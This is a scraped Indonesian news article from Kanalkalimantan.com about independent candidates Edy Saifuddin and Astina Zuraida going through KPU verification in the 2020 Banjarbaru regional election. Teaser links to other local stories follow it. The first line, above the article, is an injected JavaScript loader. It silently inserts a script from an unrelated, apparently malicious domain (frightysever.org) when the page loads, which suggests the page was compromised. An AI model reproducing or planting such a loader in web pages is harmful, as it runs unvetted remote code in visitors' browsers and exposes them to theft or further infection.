(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Gelombang dukungan parpol ke incumbent Nadjmi Adhani-Darmawan Jaya Setiawan pasca mundurnya Aditya Mufti Ariffin di Pilkada Banjarbaru, tak membuat duet kandidat jalur perseorangan Edy Saifuddin-Astina Zuraida, gentar! Buktinya, mereka tetap maju dengan menjalni tahapan verifikasi faktual oleh KPU Banjarbaru.
Sebagaimana diketahui, pada Februari lalu Edy-Astina telah menyerahkan sekitar 16.000 KTP dukungan ke KPU sebagai syarat pencalonan melalui jalur independen. Maka dari itu, saat ini KPU tengah melakukan verifikasi faktual syarat dukungan guna memastikan setiap pemilik KTP benar-benar menyatakan dukungannya kepada mereka.
Kamis (25/6/2020) siang, kepada Kanalkalimantan.com, Edy mengatakan telah mempersiapkan tim lapangan agar tahapan verifikasi faktual tersebut berjalan lancar. Dirinya optimis pencalonannya di Pilkada Banjarbaru akan mendapatkan jalan yang mulus.
“Kita optimis verifikasi faktual ini berjalan lancar. Kalau tahapan ini sudah berhasil kita lalui, maka saat itu juga kita akan benar-benar fight -bertarung- dalam Pilkada ini,” ujarnya.
Pasangan yang mengusung jargon Banjarbaru Besinergi (Bersih, Integritas, Religi) ini berpotensi melawan pasangan Incumbent Nadjmi-Jaya secara head to head, usai mundurnya Aditya.
Diakui Edy, pasca mundurnya Aditya dari bursa pencalonan, membuat dirinya harus merombak kembali strategi di kontesasi Pilkada Banjarbaru. Namun begitu, sebagai kandidat pasangan yang satu-satunya maju di jalur independen, dirinya yakin mampu berhadapan dengan pasangan incumben.
“Saat ini skema Pilkada Banjarbaru, head to head saya dengan incumbent. Tentu ada perubahan strategi, tapi tidak bisa kita ungkapkan. Nanti terlihat saja di lapangan,” lanjut Edy.
Selain itu, Edy juga mengaku bahwa penyelanggaran Pilkada di tengah fenomena pandemi Covid-19 juga berdampak besar pada strategi maupun pola yang telah disiapkan pihaknya.
Lantas, ada dampak dalam sisi finansial saat penyelenggaran Pilkada di tengah fenomena pandemi nantinya? Edy juga mengaku sudah memperhitungkan hal itu sejak awal. Menurutnya kondisi finansial adalah konseskuensi yang harus dihadapi para kandidat yang maju dalam pencalonan.
“Intinya, kita siap bertarung. Kita juga membukakan pinti selebar-lebarnya kepada partai politik (parpol) yang ingin mendukung kita. Tapi, kalau ada Parpol yang berkeinginan mengusung, maka akan kita tolak. Karena kita sudab tegas di jalur independen,” tegasnya. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.